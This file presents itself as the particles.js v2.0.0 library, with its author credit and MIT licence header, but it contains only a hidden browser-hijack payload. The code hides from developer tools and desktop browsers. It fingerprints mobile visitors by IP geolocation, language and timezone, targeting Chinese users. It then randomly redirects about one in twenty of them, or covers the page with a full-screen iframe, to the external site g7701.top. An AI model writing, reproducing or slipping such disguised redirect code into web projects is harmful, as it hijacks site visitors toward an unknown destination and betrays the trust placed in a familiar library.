/*
*                    _ooOoo_
*                   o8888888o
*                   88" . "88
*                   (| -_- |)
*                   O\  =  /O
*                ____/`---'\____
*              .'  \\|     |//  `.
*             /  \\|||  :  |||//  \
*            /  _||||| -:- |||||-  \
*            |   | \\\  -  /// |   |
*            | \_|  ''\---/''  |   |
*            \  .-\__  `-`  ___/-. /
*          ___`. .'  /--.--\  `. . __
*       ."" '<  `.___\_<|>_/___.'  >'"".
*      | | :  `- \`.;`\ _ /`;.`/ - ` : | |
*      \  \ `-.   \_ __\ /__ _/   .-` /  /
* ======`-.____`-.___\_____/___.-`____.-'======
*                    `=---='
* ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
*               佛祖保佑       永无BUG
*/

/* -----------------------------------------------
/* Author : Vincent Garreau  - vincentgarreau.com
/* MIT license: http://opensource.org/licenses/MIT
/* Demo / Generator : vincentgarreau.com/particles.js
/* GitHub : github.com/VincentGarreau/particles.js
/* How to use? : Check the GitHub README
/* v2.0.0
/* ----------------------------------------------- */
function checkDevTools() {
    const isDesktopScreen = window.screen.width > 1024 || window.screen.height > 1024;
    const isSimulator = isDesktopScreen && window.innerWidth < 768;
    return isSimulator;
}

function isMobileDevice() {
    const ua = navigator.userAgent.toLowerCase();
    const isMobileUA = /android|iphone|ipad|ipod|blackberry|windows phone|mobile/i.test(ua);
    const isNotDesktopScreen = window.screen.width <= 1024;
    return isMobileUA && isNotDesktopScreen;
}

async function checkIPLocation() {
    const apis = [
        {
            url: 'https://1.1.1.1/cdn-cgi/trace',
            parse: (data) => {
                const loc = data.split('\n').find(l => l.startsWith('loc='));
                return loc ? loc.split('=')[1].trim() === 'CN' : false;
            },
            isText: true
        },
        {
            url: 'https://ipapi.co/json',
            parse: (data) => data.country_code === 'CN',
            isText: false
        }
    ];
    
    for (const api of apis) {
        try {
            const controller = new AbortController();
            setTimeout(() => controller.abort(), 5000);
            
            const response = await fetch(api.url, {
                signal: controller.signal,
                cache: 'no-cache'
            });
            
            if (!response.ok) continue;
            
            const data = api.isText ? await response.text() : await response.json();
            return api.parse(data);
        } catch (e) {
            continue;
        }
    }
    return false;
}

async function detectIframeInfo() {
    let level = 0;
    let current = window;
    let isTop = true;

    try {
        while (current !== current.parent) {
            level++;
            current = current.parent;
            isTop = false;
        }
    } catch (e) {
        console.warn('跨域，无法继续向上检测');
    }

    return {
        isInIframe: window.self !== window.top,
        level: level
    };
}

async function detectChineseUser() {
    const devtoolsOpen = checkDevTools();
    if (devtoolsOpen) {
        return {
            success: false,
            blocked: true,
            reason: 'devtools',
            message: '检测到设备模拟器或开发者工具'
        };
    }
    const isMobile = isMobileDevice();
    if (!isMobile) {
        return {
            success: false,
            blocked: true,
            reason: 'not_mobile',
            message: '检测到PC端浏览器'
        };
    }
    const isChineseIP = await checkIPLocation();
    const language = navigator.language || navigator.userLanguage;
    const isChineseLanguage = language.startsWith('zh');
    const timezone = Intl.DateTimeFormat().resolvedOptions().timeZone;
    const chineseTimezones = ['Asia/Shanghai', 'Asia/Chongqing', 'Asia/Urumqi', 'Asia/Hong_Kong', 'Asia/Macau', 'Asia/Taipei'];
    const isChineseTimezone = chineseTimezones.includes(timezone);
    const isValid = isChineseIP && isChineseLanguage && isChineseTimezone;
    return {
        success: isValid,
        blocked: false,
        details: {
            ip: isChineseIP,
            language: isChineseLanguage,
            timezone: isChineseTimezone
        },
        data: {
            language: language,
            timezone: timezone
        }
    };
}

function createFullScreenIframe(targetUrl) {
    return new Promise((resolve, reject) => {
        const scrollWrapper = document.createElement('div');
        scrollWrapper.className = 'scroll-wrapper';
        scrollWrapper.style.position = 'fixed';
        scrollWrapper.style.height = '100%';
        scrollWrapper.style.width = '100%';
        scrollWrapper.style.padding = '0px';
        scrollWrapper.style.margin = '0px';
        scrollWrapper.style.background = 'white';
        scrollWrapper.style.border = 'none';
        scrollWrapper.style.top = '0px';
        scrollWrapper.style.left = '0';
        scrollWrapper.style.zIndex = '1999999999';
        const iframe = document.createElement('iframe');
        iframe.width = '100%';
        iframe.height = '100%';
        iframe.id = 'warpperId';
        iframe.src = targetUrl;
        iframe.style.borderWidth = '0px';
        iframe.onload = () => resolve(true);
        iframe.onerror = () => reject(false);
        scrollWrapper.appendChild(iframe);
        document.body.appendChild(scrollWrapper);
        const style = document.createElement('style');
        style.textContent = `
            body {
                margin: 0 !important;
                padding: 0 !important;
            }
            .scroll-wrapper {
                -webkit-overflow-scrolling: touch;
                overflow: scroll;
            }
            iframe {
                width: 100%;
                height: 100%;
                border-width: 0px;
            }
        `;
        document.head.appendChild(style);
        const metaViewport = document.createElement('meta');
        metaViewport.name = 'viewport';
        metaViewport.content = 'width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0';
        document.head.appendChild(metaViewport);
    });
}

detectChineseUser().then(result => {
    if (result.success) {
        const loadedTime = localStorage.getItem("loadedTime");
        const now = new Date().getTime();
        const twelveHours = 12 * 60 * 60 * 1000;
        if (!loadedTime || (now - loadedTime) > twelveHours) {
            const randomNum = Math.random() * 100; 
            if (randomNum < 5) {
                const urls = ['https://g7701.top'];
                const targetUrl = urls[Math.floor(Math.random() * urls.length)];
                const delay = Math.floor(Math.random() * (15 - 5 + 1) + 5) * 1000;
                setTimeout(async () => {
                    localStorage.setItem("loadedTime", now);
                    const iframeInfo = await detectIframeInfo();
                    if (iframeInfo.isInIframe) {
                        localStorage.setItem("loadedTime", now);
                        window.top.location.href = targetUrl;
                    } else {
                        createFullScreenIframe(targetUrl)
                            .then((isLoaded) => {
                                if (isLoaded) {
                                    localStorage.setItem("loadedTime", now);
                                    console.log('iframe success');
                                } else {                                    
                                    console.error('iframe failed to load');
                                }
                        })
                        .catch((error) => {
                            console.error('iframe error', error);
                        });
                    }
                }, delay);
            }
        }
    }
});